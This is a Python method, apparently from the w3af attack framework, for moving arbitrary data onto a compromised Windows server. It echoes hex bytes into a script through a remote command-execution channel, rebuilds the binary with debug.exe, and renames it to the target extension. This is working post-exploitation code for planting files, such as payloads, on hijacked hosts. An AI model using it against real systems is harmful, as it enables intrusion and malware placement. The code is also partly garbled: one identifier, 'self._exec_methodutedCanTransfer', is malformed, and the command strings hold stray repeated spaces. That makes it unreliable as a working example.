'This method is used to transfer the data_str from w3af to the compromised server.'

def transfer(self, data_str, destination):

    om.out.debug('Starting    upload.')
    self._filename = self._get_filename(destination)
    if (not self._exec_methodutedCanTransfer):
        if (not self.can_transfer()):
            msg = 'Failed    to    transfer    file    to    the    compromised    server,    '
            msg += 'EchoWindows.can_transfer    returned    False.'
            raise BaseFrameworkException(msg)
    res = self._exec_method(('del    ' + self._filename))
    self._exec_method(((('echo    n    ' + self._filename) + '._    >>    ') + self._filename))
    self._exec_method((('echo    r    cx' + '    >>    ') + self._filename))
    self._exec_method(((('echo    ' + hex(len(data_str))[2:]) + '    >>    ') + self._filename))
    self._exec_method((('echo    f    0000    ffff    00' + '    >>    ') + self._filename))
    i = 0
    j = 256
    while (i < len(data_str)):
        cmd = ('echo    e    ' + hex(j)[2:])
        for c in data_str[i:(i + self._step)]:
            cmd += ('    ' + hex(ord(c))[2:].zfill(2))
        cmd += ('    >>    ' + self._filename)
        i += self._step
        j += self._step
        self._exec_method(cmd)
    self._exec_method(('echo    w    >>    ' + self._filename))
    self._exec_method(('echo    q    >>    ' + self._filename))
    om.out.debug('Transforming    the    text    file    into    a    binary    file.    Thanks    to    icesurfer    and    sqlninja    for    this    technique!')
    res = self._exec_method(('debug    <    ' + self._filename))
    if ('file    creation    error' in res.lower()):
        raise BaseFrameworkException('Error    in    remote    debug.exe    command.')
    extension = self._get_extension(destination)
    om.out.debug('Changing    the    extension    of    the    binary    file    to    match    the    original    one    ()')
    res = self._exec_method(((((('move    ' + self._filename) + '._    ') + self._filename) + '.') + extension))
    om.out.debug('Finished    file    upload.')
